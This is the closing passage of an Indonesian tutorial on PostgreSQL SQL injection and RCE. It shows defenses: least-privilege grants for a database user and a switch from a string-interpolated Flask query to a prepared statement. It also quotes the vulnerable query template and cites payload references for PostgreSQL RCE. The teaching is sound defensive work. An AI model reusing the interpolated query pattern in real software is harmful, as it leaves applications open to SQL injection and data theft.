Setelah diberi akses untuk CONNECT ke database myappdb, akhirnya user webamanager dapat login, namun karena hanya diberikan akses CONNECT, user tersebut masih belum bisa mengakses data pada database, tentu ini hal yang baik untuk menerapkan least privilege.

Selanjutnya kita akan berikan akses yang diperlukan pada database myappdb

\c myappdb
GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE users TO webmanager;
GRANT SELECT ON TABLE product TO webmanager;
Gambar 56
Gambar 57

Terlihat bahwa user webmanager sudah diberikan least privilege access dan hanya bisa mengerjakan tugas yang sudah didefinisikan terhadap user tersebut. Konfigurasi pada PostgreSQL tidak hanya sebatas user, melainkan terdapat groups, limit akses ke kolom, dan juga lainnya yang masih bisa dieksplorasi.

Jangan lupa untuk ubah konfigurasi database pada web, Pastikan user postgreSQL yang digunakan adalah yang sudah kita buat dan memiliki least privilege

Gambar 58

Dengan menerapkan least privilege, seandainya terjadi breach, maka kita bisa mengurangi dampak dari kebocoran sehingga database lain tidak ikut terkena breach dan juga mencegah hacker melakukan eskalasi serangan hingga RCE menggunakan metode yang sudah dibahas di atas

Gambar 59
Gambar 60

Dengan membatasi akses pada user PostgreSQL, eskalasi serangan menjadi RCE menjadi tidak dapat dilakukan. Namun ini belumlah cukup karena jika masih bisa melakukan SQL Injection, hacker masih bisa mendapatkan data sensitif pada database. Least Privilege hanya melakukan hardening agar bisa meminimalisir impact dari suatu serangan

Implement Prepared Statement #

Pada section ini kita akan bahas terkait penjagaan dari sisi aplikasinya, dengan penjagaan ini kita akan menutup kerentanan yang bisa menyebabkan terjadinya SQL Injection. Serangan SQL Injection pada dasarnya terjadi karena terdapat kegagalan dalam sanitasi atau validasi terhadap inputan user. Untuk mengatasi kegagalan sistem tersebut, kita akan terapkan Prepared Statement

Prepared Statement adalah teknik yang digunakan untuk menghindari serangan SQL Injection dengan memisahkan kode SQL dan data input pengguna. Dalam teknik ini, query SQL terlebih dahulu dibuat dalam bentuk template (template query), dan kemudian data yang dimasukkan oleh pengguna diikat (bind) ke dalam query tersebut. Setiap bahasa pemrograman punya caranya masing-masing, bisa dilihat saja pada dokumentasi bahasa pemrograman tersebut

Pada artikel ini kita akan coba implementasi prepared statement pada website yang digunakan untuk PoC SQL Injection. Website dibangun menggunakan bahasa pemrograman Python serta menggunakan Framework Flask. Berikut code yang vulnerable

SELECT id, product_name, product_price FROM product WHERE product_name ILIKE '%{search_term}%'
Gambar 61

Kita modifikasi query nya dengan menggunakan prepared statement, perbaikan ini akan mencegah terjadinya serangan SQL Injection

SELECT id, product_name, product_price FROM product WHERE product_name ILIKE %s
Gambar 62

Sekarang mari kita uji dengan dengan melakukan serangan SQL Injection

Gambar 63
Gambar 64

Testing menggunakan payload RCE dan juga SQLMAP dengan risk 3 dan level 5, tidak ada serangan SQL Injection yang berhasil tembus. Seperti yang dikatakan di awal section ini, setiap bahasa pemrograman punya caranya sendiri untuk melakukan prepared statement, silahkan lakukan eksplorasi untuk bahasa pemrograman dan framework yang lain.

Penutup #

Sudah selesai semua bahasan pada artikel ini, pada artikel ini kita sudah mempelajari beberapa cara untuk melakukan RCE menggunakan PostgreSQL dan cara untuk melakukan penjagaan dari serangan SQL Injection. Semoga ilmu ini dapat menjadi wawasan baru agar kita dapat memperkuat rangka cyber security kita. Gunakan ilmu ini dengan etis dan jangan gunakan untuk hal-hal jahat. Sekian tulisan ini, Terimakasih

Reference

  1. https://github.com/b4rdia/HackTricks/blob/master/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
  2. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-libcso6
  3. https://medium.com/@artbindu/postgresql-user-defined-function-4a2c1071e879
  4. https://www.postgresql.org/docs